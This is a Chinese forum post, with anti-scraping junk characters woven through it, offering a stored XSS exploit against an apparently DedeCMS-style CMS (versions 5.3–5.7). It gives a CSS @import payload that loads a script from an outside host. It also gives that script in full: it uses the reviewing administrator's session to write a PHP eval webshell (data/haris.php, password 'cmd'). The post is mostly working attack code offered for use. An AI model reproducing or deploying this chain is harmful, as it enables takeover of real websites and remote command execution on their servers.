<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell! ~; {7 O1 A, ~- t8 K6 w
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
3 p: X. H9 e9 n4 g目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。& K4 s# s# T. `. }
下面说说利用方法。
! G' @: w6 H u, m条件有2个:
! r5 B4 n# v% t v: P1.开启注册, y' g( V( z8 d8 p0 q8 g2 k
2.开启投稿
4 i4 Y+ Z3 g$ G* Y. G注册会员----发表文章
: @) U0 {' A) D) L7 ]' G内容填写:- x/ F) ? c O0 `) e& L( ?1 @/ V
复制代码
* ]# a- v) A3 I4 `<style>@im\port'\http://xxx.com/xss.css';</style>
4 Q. s' C6 w4 {. Z% I: @6 Y新建XSS.Css
" I8 e" z4 Z) I6 B复制代码6 S0 W# T5 K6 u+ q4 O2 b6 d
.body{
1 `" X/ H+ [% D& r) abackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }* e/ V+ B+ S! M4 L) ]% P
新建xss.js 内容为. w/ W0 A% b1 a3 `
复制代码
5 \4 B) v" K9 E5 m1 A' v* P; |1.var request = false;6 P% b1 v5 a; S
2.if(window.XMLHttpRequest) {
* |5 o: y6 ?6 ]) R. p6 o3.request = new XMLHttpRequest();
+ k/ D" R5 y+ o4.if(request.overrideMimeType) { b" [+ E1 M* C4 }2 _) z
5.request.overrideMimeType('text/xml');
/ U4 y( h+ i2 ]0 g6.}
; _' e: b1 y) D$ A3 c6 R7.} else if(window.ActiveXObject) {
2 r# v* b2 k5 L/ s. u4 S8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 w* m( I+ W1 r# N% v& `! K9.for(var i=0; i<versions.length; i++) {+ G% A! N0 T( ?# X/ z1 z" k
10.try {
1 o) J O$ z3 j* a$ l1 i11.request = new ActiveXObject(versions);
) k7 c* ^5 a" q, w12.} catch(e) {}# Q/ L- e1 o( n# T/ C: K* r5 h
13.}
c0 C `$ X) d& O9 f [14.} ^& }( g* l4 \* e6 e! x3 t
15.xmlhttp=request;
# w* K8 T* Q' D. f16.function getFolder( url ){
3 X' l0 q+ U) D& d: W4 {* N17. obj = url.split('/')
, P7 H1 V- M. o18. return obj[obj.length-2]2 r L$ X0 n# _$ N3 Z
19.}5 ]7 Y8 P4 q4 P& N1 L* _7 n
20.oUrl = top.location.href;
9 y: b+ j' L" s21.u = getFolder(oUrl);
: H" Q9 s, B$ p( x' k/ F22.add_admin();
' c" ~ u6 y! ]6 }23.function add_admin(){
4 C; h, f/ N9 [( t: I24.var url= "/"+u+"/sys_sql_query.php";
2 q% B c4 w. U25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
a* l0 v# @3 ]) ~! E% Y2 z6 e+ U# E26.xmlhttp.open("POST", url, true);8 V# ^' W3 b6 W
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
# Y# R4 @/ W- ?2 c5 {/ E K- O% h28.xmlhttp.setRequestHeader("Content-length", params.length);2 m; q( O- D* P9 g. ]/ D6 }
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
A5 i5 W5 d! J% \) D30.xmlhttp.send(params);
7 c: C# _/ T" O6 }1 F! S31.}8 d* W3 J* k6 u+ X+ q
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |